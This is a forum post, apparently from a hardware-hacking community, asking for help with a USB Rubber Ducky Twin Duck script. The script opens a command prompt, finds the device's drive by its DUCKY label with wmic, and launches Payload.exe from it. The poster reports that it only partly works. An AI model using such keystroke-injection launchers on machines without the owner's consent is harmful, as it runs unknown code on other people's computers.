Jump to content

[Payload][Question] Run .exe file on sd card


mahorelee
 Share

Recommended Posts

Okay I think a Payload that runs an exe on the sd card using Twin Ducky would be useful. I've found code from other people but I can not get this idea to work. The code below opens the cmd prompt but does not do anything else. I have renamed the Ducky flash drive to DUCKY. The one on the Wiki did not work for me and seemed too complex. Any help would be great.

DELAY 3000
ESCAPE
CONTROL ESCAPE
DELAY 100
STRING cmd
DELAY 100
ENTER
DELAY 100
STRING for /f %d in ('wmic volume get driveletter^, label ^| findstr "DUCKY"') do set myd=%d
ENTER
STRING %myd%\Payload.exe
ENTER
Edited by mahorelee
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...